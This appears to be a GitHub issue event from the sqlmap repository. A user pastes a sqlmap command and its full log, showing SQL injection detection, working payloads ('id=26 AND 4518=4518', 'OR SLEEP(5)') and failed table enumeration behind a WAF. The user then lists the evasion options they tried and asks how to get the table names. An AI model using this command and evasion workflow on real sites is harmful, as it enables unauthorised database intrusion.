{"action":"opened","issue":{"url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/3076","repository_url":"https://api.github.com/repos/sqlmapproject/sqlmap","labels_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/3076/labels{/name}","comments_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/3076/comments","events_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/3076/events","html_url":"https://github.com/sqlmapproject/sqlmap/issues/3076","id":318744313,"number":3076,"title":"i got DBS but not getting Tables ","user":{"login":"hbond007","id":38841910,"avatar_url":"https://avatars1.githubusercontent.com/u/38841910?v=4","gravatar_id":"","url":"https://api.github.com/users/hbond007","html_url":"https://github.com/hbond007","followers_url":"https://api.github.com/users/hbond007/followers","following_url":"https://api.github.com/users/hbond007/following{/other_user}","gists_url":"https://api.github.com/users/hbond007/gists{/gist_id}","starred_url":"https://api.github.com/users/hbond007/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hbond007/subscriptions","organizations_url":"https://api.github.com/users/hbond007/orgs","repos_url":"https://api.github.com/users/hbond007/repos","events_url":"https://api.github.com/users/hbond007/events{/privacy}","received_events_url":"https://api.github.com/users/hbond007/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-04-29T19:51:45Z","updated_at":"2018-04-29T19:51:45Z","closed_at":null,"author_association":"NONE","body":"\r\nHi \r\ni got tables name for the very first time . for some reason i lost the tables names but now im not getting tables again. \r\n\r\nmy command was **sqlmap -u https://www.site.com/php?id=1 -D anything --tables --batch --dbms=mysql --hex**\r\n\r\nand my result are; \r\n\r\n\r\n\r\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\r\n\r\n[*] starting at 13:25:36\r\n\r\n[13:25:37] [INFO] testing connection to the target URL\r\n[13:25:40] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS\r\n[13:25:41] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS\r\ndo you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] N\r\n[13:25:41] [WARNING] dropping timeout to 10 seconds (i.e. '--timeout=10')\r\n[13:25:41] [INFO] testing if the target URL content is stable\r\n[13:25:43] [INFO] target URL content is stable\r\n[13:25:43] [INFO] testing if GET parameter 'id' is dynamic\r\n[13:25:44] [INFO] confirming that GET parameter 'id' is dynamic\r\n[13:25:46] [INFO] GET parameter 'id' is dynamic\r\n[13:25:47] [INFO] heuristics detected web page charset 'ascii'\r\n[13:25:47] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')\r\n[13:25:49] [INFO] testing for SQL injection on GET parameter 'id'\r\nfor the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y\r\n[13:25:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'\r\n[13:25:50] [WARNING] reflective value(s) found and filtering out\r\n[13:26:03] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string=\"IN\")\r\n[13:26:03] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'\r\n[13:26:06] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'\r\n[13:26:08] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'\r\n[13:26:11] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'\r\n[13:26:14] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'\r\n[13:26:17] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'\r\n[13:26:19] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\r\n[13:26:23] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\r\n[13:26:26] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'\r\n[13:26:28] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'\r\n[13:26:30] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'\r\n[13:26:33] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'\r\n[13:26:36] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\r\n[13:26:38] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'\r\n[13:26:41] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'\r\n[13:26:44] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'\r\n[13:26:46] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'\r\n[13:26:48] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'\r\n[13:26:49] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'\r\n[13:26:51] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'\r\n[13:26:53] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'\r\n[13:26:55] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'\r\n[13:26:57] [INFO] testing 'MySQL inline queries'\r\n[13:26:59] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'\r\n[13:26:59] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)\r\n[13:27:01] [INFO] testing 'MySQL > 5.0.11 stacked queries'\r\n[13:27:03] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'\r\n[13:27:06] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'\r\n[13:27:08] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'\r\n[13:27:10] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'\r\n[13:27:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'\r\n[13:27:19] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind'\r\n[13:27:30] [WARNING] turning off pre-connect mechanism because of connection time out(s)\r\n[13:27:44] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 OR time-based blind' injectable\r\n[13:27:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'\r\n[13:27:44] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found\r\n[13:27:48] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test\r\n[13:27:59] [INFO] target URL appears to have 9 columns in query\r\ninjection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y\r\n[13:30:56] [INFO] testing 'MySQL UNION query (19) - 1 to 20 columns'\r\n[13:32:24] [INFO] testing 'MySQL UNION query (19) - 21 to 40 columns'\r\n[13:33:10] [INFO] testing 'MySQL UNION query (19) - 41 to 60 columns'\r\n[13:34:06] [INFO] testing 'MySQL UNION query (19) - 61 to 80 columns'\r\n[13:34:55] [INFO] testing 'MySQL UNION query (19) - 81 to 100 columns'\r\n[13:35:43] [INFO] checking if the injection point on GET parameter 'id' is a false positive\r\nGET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N\r\nsqlmap identified the following injection point(s) with a total of 241 HTTP(s) requests:\r\n---\r\nParameter: id (GET)\r\n    Type: boolean-based blind\r\n    Title: AND boolean-based blind - WHERE or HAVING clause\r\n    Payload: id=26 AND 4518=4518\r\n\r\n    Type: AND/OR time-based blind\r\n    Title: MySQL >= 5.0.12 OR time-based blind\r\n    Payload: id=26 OR SLEEP(5)\r\n---\r\n[13:35:59] [INFO] the back-end DBMS is MySQL\r\nweb application technology: Nginx\r\nback-end DBMS: MySQL >= 5.0.12\r\n[13:35:59] [INFO] fetching tables for database: 'anyting'\r\n[13:35:59] [INFO] fetching number of tables for database 'anything'\r\n[13:35:59] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval\r\n[13:35:59] [INFO] retrieved:\r\n[13:36:01] [WARNING] unexpected HTTP code '406' detected. Will use (extra) validation step in similar cases\r\n[13:36:06] [INFO] retrieved:\r\n[13:36:06] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)\r\n[13:37:08] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions\r\n[13:37:15] [INFO] retrieved:\r\n[13:37:15] [WARNING] unable to retrieve the number of tables for database 'anything'\r\n[13:37:15] [ERROR] unable to retrieve the table names for any database\r\ndo you want to use common table existence check? [y/N/q] N\r\nNo tables found\r\n[13:37:15] [WARNING] HTTP error codes detected during run:\r\n406 (Not Acceptable) - 250 times\r\n[13:37:15] [INFO] fetched data logged to text files under '/home/bond/.sqlmap/output/www.site.net'\r\n\r\n[*] shutting down at 13:37:15\r\n\r\n\r\n\r\n\r\n\r\n**i was try : all the temper script one by one and still not getting tables. \r\ni was also tried one by one are: --level=5 , --risk=3 ,--skip-urlencode ,--identify-waf ,--string=\"IN\" ,--tor-type=alltried ,--technique=BU,--banner,-t traffic.txt,--flush-session,-–identity-waf,--pivot-column=id**\r\n\r\nwhy am i not getting tables and what should i do for getting tables.\r\n"}}
{"actor":{"display_login":"hbond007"}}